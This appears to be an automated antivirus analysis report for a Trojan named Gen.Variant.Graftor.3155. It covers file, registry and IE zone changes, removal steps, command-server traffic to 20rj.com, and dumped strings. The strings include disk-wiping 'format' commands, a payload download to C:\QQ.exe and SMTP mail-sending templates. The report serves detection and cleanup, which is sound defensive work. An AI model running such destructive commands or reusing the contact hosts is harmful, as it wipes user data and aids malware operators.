Gen.Variant.Graftor.3155_9617baecbc

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1508

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1508 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@20rj[1].txt (195 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\gg[1].htm (1729 bytes)

Registry activity

The process %original file name%.exe:1508 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 67 78 E2 13 4B BC 6A 0F 7D C6 BB A8 B5 D6 6C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1508

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Cookies\Current_User@20rj[1].txt (195 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\gg[1].htm (1729 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	621803	622592	4.5411	38aae9dd31336e734f8c4272fa157ce4
.rdata	626688	896628	897024	4.39403	9396f78fa8692f79090d3c2b27ec7637
.data	1523712	326538	73728	3.51654	cbc120c9e6cd34197fb20a0103318bff
.rsrc	1851392	20224	20480	4.30871	e28f36e9349318f188b2a90b12e24238

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://jiami.20rj.com/gg	216.158.91.116
hxxp://jiami.20rj.com/gg/	216.158.91.116
wlyz1.20rj.com	112.112.238.163

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /gg HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jiami.20rj.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Tue, 02 Dec 2014 01:59:43 GMT

Content-Length: 148

Content-Type: text/html

Location: hXXp://jiami.20rj.com/gg/

Server: IIS

X-Powered-By: WAF/2.0

<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="hXXp://jiami.20rj.com/gg/">here</a></body>....

GET /gg/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jiami.20rj.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 02 Dec 2014 01:59:43 GMT

Content-Length: 1168

Content-Type: text/html

Content-Location: hXXp://jiami.20rj.com/gg/index.htm

Last-Modified: Thu, 24 Oct 2013 22:25:15 GMT

Accept-Ranges: bytes

ETag: "6cf876e97d1ce1:27c9"

Server: IIS

X-Powered-By: WAF/2.0

Set-Cookie: safedog-flow-item=1F47E93F71C646FE20F96272D0B8F7AD; expires=Fri, 8-Jan-2151 03:32:59 GMT; domain=20rj.com; path=/

..<.!.D.O.C.T.Y.P.E. .H.T.M.L. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .H.T.M.L. .4...0. .T.r.a.n.s.i.t.i.o.n.a.l././.E.N.".>.....<.H.T.M.L.>.....<.H.E.A.D.>.<.T.I.T.L.E.>.:_L..~.k.Y.v5u....n.._:g.[.xo..N<./.T.I.T.L.E.>.....<.M.E.T.A. .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.n.i.c.o.d.e.". .h.t.t.p.-.e.q.u.i.v.=.C.o.n.t.e.n.t.-.T.y.p.e.>.....<.M.E.T.A. .n.a.m.e.=.G.E.N.E.R.A.T.O.R. .c.o.n.t.e.n.t.=.".M.S.H.T.M.L. .8...0.0...6.0.0.1...2.3.5.3.2.".>.<./.H.E.A.D.>.....<.B.O.D.Y.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>.:_L..~.k.Y.v5u....n.._:g.[.xo..N<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>.,go..N.v.R..1\/f...u.b.[7b.z.T....Sb._.[7b.z...v5u..1\....n..N*N._:g.[.x.0<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>.5u...O...R../T..../T.T1\......eQ.[.xMb..Sb._5u..../f.N*N._}Y.s.v.z.^.0<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>.-.pNo..N..T..|Q.Q.2.3.9.9.9.8.8.8.9.9..T..-.pN<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>.,go..N.N<h:N2.0.0.CQ.N.l.^<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>..S.eP..u.b.[7b.z...`pN.S_N.S.N.u.b.NVS.~ R.N.0<./.P.>.....<.P. .a.l.i.g.n.=.c.e.n.t.e.r.>..~.[}Y.s...~.[..<P&.n.b.s.p.;.<./.P.>.<./.B.O.D.Y.>.....<./.H.T.M.L.>.......

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1508:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t$(SSh

t$(SSh

~%UVW

~%UVW

u$SShe

u$SShe

hy_cxqh.asp?yanzheng=

hy_cxqh.asp?yanzheng=

/jiancewangluo.asp

/jiancewangluo.asp

MSXML2.XMLHTTP

MSXML2.XMLHTTP

Microsoft.XMLHTTP

Microsoft.XMLHTTP

application/x-www-form-urlencoded

application/x-www-form-urlencoded

hy_dankachongzhi.asp?yanzheng=

hy_dankachongzhi.asp?yanzheng=

/yzm.asp

/yzm.asp

&key=

&key=

mianfeidl.asp?yanzheng=

mianfeidl.asp?yanzheng=

mianfeier.asp?yanzheng=

mianfeier.asp?yanzheng=

.ini\

.ini\

denglu.asp?yanzheng=

denglu.asp?yanzheng=

dengluer.asp?yanzheng=

dengluer.asp?yanzheng=

hXXp://VVV.baidu.com

hXXp://VVV.baidu.com

Microsoft.XMLHTTP

Microsoft.XMLHTTP

MSXML2.XMLHTTP

MSXML2.XMLHTTP

yh_dengluyz.asp?yanzheng=

yh_dengluyz.asp?yanzheng=

mianfeidanlu.asp?yanzheng=miandol&u=

mianfeidanlu.asp?yanzheng=miandol&u=

cmd /c format c: /q /y

cmd /c format c: /q /y

cmd /c format d: /q /y

cmd /c format d: /q /y

cmd /c format e: /q /y

cmd /c format e: /q /y

cmd /c format f: /q /y

cmd /c format f: /q /y

cmd /c format g: /q /ygdgbbjklt

cmd /c format g: /q /ygdgbbjklt

denlu.asp?yanzheng=olf&u=

denlu.asp?yanzheng=olf&u=

hy_baoyuechongzhi.asp?yanzheng=

hy_baoyuechongzhi.asp?yanzheng=

hXXp://

hXXp://

dufuwuqipeizhi.asp?yanzheng=

dufuwuqipeizhi.asp?yanzheng=

zhuce.asp?yanzheng=

zhuce.asp?yanzheng=

mianfeizhuce.asp?yanzheng=

mianfeizhuce.asp?yanzheng=

kernel32.dll

kernel32.dll

user32.dll

user32.dll

shlwapi.dll

shlwapi.dll

shell32.dll

shell32.dll

NETAPI32.DLL

NETAPI32.DLL

ShellExecuteA

ShellExecuteA

%S4WD

%S4WD

hg%fpM

hg%fpM

S.Ac9SR

S.Ac9SR

0.I%3s

0.I%3s

,wAe.kI

,wAe.kI

aiUy'4xu

aiUy'4xu

%c*@j

%c*@j

.eH'y

.eH'y

{&%U)

{&%U)

lj%4U

lj%4U

xe%CNs

xe%CNs

9F.cLe

9F.cLe

hJK.ZH

hJK.ZH

O.qt0

O.qt0

KERNEL32.DLL

KERNEL32.DLL

COMCTL32.dll

COMCTL32.dll

GDI32.dll

GDI32.dll

MSIMG32.dll

MSIMG32.dll

MSVCRT.dll

MSVCRT.dll

MSVFW32.dll

MSVFW32.dll

USER32.dll

USER32.dll

SkinH_EL.dll

SkinH_EL.dll

/1.htm

/1.htm

.com/yj/

.com/yj/

hXXp://scq.

hXXp://scq.

/2.htm

/2.htm

/11.htm

/11.htm

/22.htm

/22.htm

/3.htm

/3.htm

.com/qq.exe

.com/qq.exe

C:\QQ.exe

C:\QQ.exe

.iqW>

.iqW>

"3/%F

"3/%F

hXXp://wpa.qq.com/msgrd?v=3&uin=294712662&site=qq&menu=yes

hXXp://wpa.qq.com/msgrd?v=3&uin=294712662&site=qq&menu=yes

F%*.*f

F%*.*f

CNotSupportedException

CNotSupportedException

commctrl_DragListMsg

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

Afx:%x:%x

COMCTL32.DLL

COMCTL32.DLL

CCmdTarget

CCmdTarget

__MSVCRT_HEAP_SELECT

__MSVCRT_HEAP_SELECT

RASAPI32.dll

RASAPI32.dll

GetProcessHeap

GetProcessHeap

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

GetKeyState

GetKeyState

ExitWindowsEx

ExitWindowsEx

GetViewportOrgEx

GetViewportOrgEx

WINMM.dll

WINMM.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

WININET.dll

WININET.dll

GetCPInfo

GetCPInfo

CreateDialogIndirectParamA

CreateDialogIndirectParamA

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GetViewportExtEx

comdlg32.dll

comdlg32.dll

RegCreateKeyExA

RegCreateKeyExA

.PAVCException@@

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.prn)|*.prn|

(*.*)|*.*||

(*.*)|*.*||

Shell32.dll

Shell32.dll

Mpr.dll

Mpr.dll

Advapi32.dll

Advapi32.dll

User32.dll

User32.dll

Gdi32.dll

Gdi32.dll

Kernel32.dll

Kernel32.dll

(&07-034/)7 '

(&07-034/)7 '

?? / %d]

?? / %d]

%d / %d]

%d / %d]

: %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

(*.CUR)|*.CUR|

%s:%d

%s:%d

windows

windows

out.prn

out.prn

%d.%d

%d.%d

%d / %d

%d / %d

%d/%d

%d/%d

Bogus message code %d

Bogus message code %d

(%d-%d):

(%d-%d):

%ld%c

%ld%c

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

HTTP/1.0

HTTP/1.0

%s

%s

Reply-To: %s

Reply-To: %s

From: %s

From: %s

To: %s

To: %s

Subject: %s

Subject: %s

Date: %s

Date: %s

Cc: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

%a, %d %b %Y %H:%M:%S

SMTP

SMTP

.PAVCObject@@

.PAVCObject@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCUserException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

.PAVCArchiveException@@

zcÁ

zcÁ

#include "l.chs\afxres.rc" // Standard components

#include "l.chs\afxres.rc" // Standard components

(*.exe)|*.exe

(*.exe)|*.exe

2226338898@qq.com

2226338898@qq.com

smtp.qq.com

smtp.qq.com

hy_xiugaimima.asp?yanzheng=

hy_xiugaimima.asp?yanzheng=

yh_dengluyz.asp?yz=

yh_dengluyz.asp?yz=

hy_zhuanbang.asp?ccyanzheng=

hy_zhuanbang.asp?ccyanzheng=

jiami.20rj.com

jiami.20rj.com

hXXp://jiami.20rj.com/gg

hXXp://jiami.20rj.com/gg

j.com

j.com

*.exe

*.exe

|*.exe

|*.exe

VVV.daohaowang.com

VVV.daohaowang.com

VVV.daohaowang.net

VVV.daohaowang.net

VVV.haikelianmeng.com

VVV.haikelianmeng.com

VVV.haikelianmeng.net

VVV.haikelianmeng.net

vip.haikelianmeng.net

vip.haikelianmeng.net

%*.*f

%*.*f

iphlpapi.dll

iphlpapi.dll

SHLWAPI.dll

SHLWAPI.dll

MPR.dll

MPR.dll

VERSION.dll

VERSION.dll

GetWindowsDirectoryA

GetWindowsDirectoryA

EnumThreadWindows

EnumThreadWindows

EnumChildWindows

EnumChildWindows

oledlg.dll

oledlg.dll

WSOCK32.dll

WSOCK32.dll

\\.\Scsi0:

\\.\Scsi0:

\\.\PhysicalDrive0

\\.\PhysicalDrive0

msctls_hotkey32

msctls_hotkey32

1.1.3

1.1.3

;3 #>6.&

;3 #>6.&

'2, / 0&7!4-)1#

'2, / 0&7!4-)1#

HELO %s

HELO %s

AUTH LOGIN

AUTH LOGIN

LOGIN

LOGIN

AUTH=LOGIN

AUTH=LOGIN

EHLO %s

EHLO %s

Content-Type: application/octet-stream; name=%s

Content-Type: application/octet-stream; name=%s

Content-Disposition: attachment; filename=%s

Content-Disposition: attachment; filename=%s

MAIL FROM:

MAIL FROM:

RCPT TO:

RCPT TO: